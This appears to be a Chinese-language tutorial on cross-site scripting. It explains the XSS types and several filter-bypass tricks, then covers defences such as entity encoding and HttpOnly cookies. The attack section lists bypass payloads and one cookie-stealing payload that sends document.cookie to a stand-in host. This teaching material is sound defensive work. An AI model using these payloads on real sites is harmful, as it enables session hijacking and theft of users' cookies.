Web安全 - XSS漏洞

XSS Cross Site Scripting

1、原理

XSS是指惡意攻擊者利用網站沒有對用戶提交數據進行轉義處理或者過濾不足的缺點,進而添加一些惡意的腳本代碼(HTML、JavaScript)到Web頁面中去,使別的用戶訪問都會執行相應的嵌入代碼。javascript

XSS其實是利用用戶對站點的信任。html

危害

Cookie竊取,Session劫持,釣魚攻擊,蠕蟲,DDos等。java

2、分類

1. 反射型 Reflected XSS

非持久化,用戶在頁面輸入框中輸入數據,經過GET或者POST方法向服務器端傳遞數據,輸入的數據通常是放在URL的Query string中,或者是form表單中,若是服務端沒有對這些數據進行過濾、驗證或者編碼,直接將用戶輸入的數據呈現出來,就可能會形成反射型XSS。web

黑客一般經過構造一個包含XSS代碼的URL,誘導用戶點擊連接,觸發XSS代碼,達到劫持訪問、獲取 Cookie的目的。數據庫

2. 存儲型 Stored XSS

持久化,一般是由於服務器端將用戶輸入的惡意腳本沒有通過驗證就存儲在數據庫中,而且經過調用數據庫的方式,將數據呈如今瀏覽器上,當頁面被用戶打開的時候執行,每當用戶打開瀏覽器,惡意腳本就會執行。存儲型的XSS攻擊相比反射型的危害性更大,由於每當用戶打開頁面,惡意腳本都會執行。瀏覽器

3. DOM型 DOM XSS

DOM (Document Object Model),全稱:文檔對象模型,是中立於平臺和語言的接口,它容許程序和腳本動態地訪問和更新文檔的內容、結構和樣式。

DOM型XSS實際上是一種特殊類型的反射型XSS,它是基於DOM文檔對象模型的一種漏洞。能夠經過DOM來動態修改頁面內容,從客戶端獲取DOM中的數據並在本地執行。基於這個特性,就能夠利用JS腳原本實現XSS漏洞的利用。安全

容易致使DOM型的XSS的輸入源包括:
Document.URL
Document.referrer
Document.cookie
Window.name
Location.[pathname|href|search|hash]
localStorage/globalStorage服務器

圖片描述

DVWA代碼分析:http://www.freebuf.com/articl...cookie

3、攻擊

  1. 繞過XSS-Filter,利用 <> 標籤注入 HTML/JavaScript 代碼;
  2. 利用HTML標籤的屬性值進行XSS攻擊。例如:<img src=「javascript:alert(‘xss’)」/>;(固然並非全部的Web瀏覽器都支持Javascript僞協議,因此此類 XSS 攻擊具備必定的侷限性)
  3. 空格、回車和Tab。若是XSS Filter僅僅將敏感的輸入字符列入黑名單,好比javascript,用戶能夠利用空格、回車和Tab鍵來繞過過濾,例如:<img src=「javas cript:alert(/xss/);」/>;
  4. 利用事件來執行跨站腳本。例如:<img src=「#」 onerror= 「alert(1)」/>,當src錯誤,就會執行onerror事件;
  5. 利用CSS跨站。例如:body {backgrund-image: url(「javascript:alert(‘xss’)」)};
  6. 擾亂過濾規則。例如:<IMG SRC=「javaSCript: alert(/xss/);」/>;
  7. 利用字符編碼,經過這種技巧,不只能讓XSS代碼繞過服務端的過濾,還能更好地隱藏Shellcode;(JS支持unicode、eacapes、十六進制、十進制等編碼形式);
  8. 拆分跨站法,將XSS攻擊的代碼拆分開來,適用於應用程序沒有過濾XSS關鍵字符(如<、>)卻對輸入字符長度有限制的狀況下;
  9. DOM型XSS主要是由客戶端的腳本經過DOM動態地輸出數據到頁面上,它不依賴於提交數據到服務器,而是從客戶端得到DOM中的數據在本地執行。

獲取Cookie Payload:xss

http://www.example.com/search?keyword=<script>document.location='http://xss.com/get?cookie='+document.cookie</script>

4、防護

一、使用 XSS Filter
針對用戶提交的數據進行有效的驗證,只接受咱們規定的長度或內容的提交,過濾掉其餘的輸入內容。好比:
表單數據指定值的類型:年齡只能是 int 、name 只能是字母數字等。
過濾或移除特殊的 html 標籤:<script>、<iframe>等。
過濾 js 事件的標籤:onclick、onerror、onfocus等。

二、HTML實體
當須要往HTML標籤之間插入不可信數據的時候,首先要作的就是對不可信數據進行HTML Entity編碼,在HTML中有些字符對於HTML來講是具備特殊意義的,因此這些特殊字符不容許在文本中直接使用,須要使用實體字符。HTML實體的存在是致使XSS漏洞的主要願意之一,所以咱們須要將實體轉化爲相應的實體編號。

描述     實體名稱
     空格      &nbsp;
&    和號      &amp;
<    小於號    &lt;
>    大於號    &gt;
'    單引號    &apos;
"    雙引號    &quot;

三、JavaScript編碼
這條原則主要針對動態生成的JavaScript代碼,這包括腳本部分以及HTML標籤的事件處理屬性(如onerror, onload等)。在往JavaScript代碼裏插入數據的時候,只有一種狀況是安全的,那就是對不可信數據進行JavaScript編碼,而且只把這些數據放到使用引號包圍起來的值部分(data value)之中。

注意:在對不可信數據作編碼的時候,不能圖方便使用反斜槓 對特殊字符進行簡單轉義,好比將雙引號 " 轉義成 " ,這樣作是不可靠的,由於瀏覽器在對頁面作解析的時候,會先進行HTML解析,而後纔是JavaScript解析,因此雙引號極可能會被當作HTML字符進行HTML解析,這時雙引號就能夠突破代碼的值部分,使得攻擊者能夠繼續進行XSS攻擊;另外,輸出的變量的時候,變量值必須在引號內部,避免安全問題;更加嚴格的方式,對除了數字和字母之外的全部字符,使用十六進制xhh 的方式進行編碼。

四、Http Only Cookie許多XSS攻擊的目的就是爲了獲取用戶的Cookie,將重要的Cookie標記爲HTTP Only,這樣的話當瀏覽器向服務端發起請求時就會帶上Cookie字段,可是在腳本中卻不能訪問Cookie,這樣就避免了XSS攻擊利用js的document.cookie獲取Cookie。

相關文章
相關標籤/搜索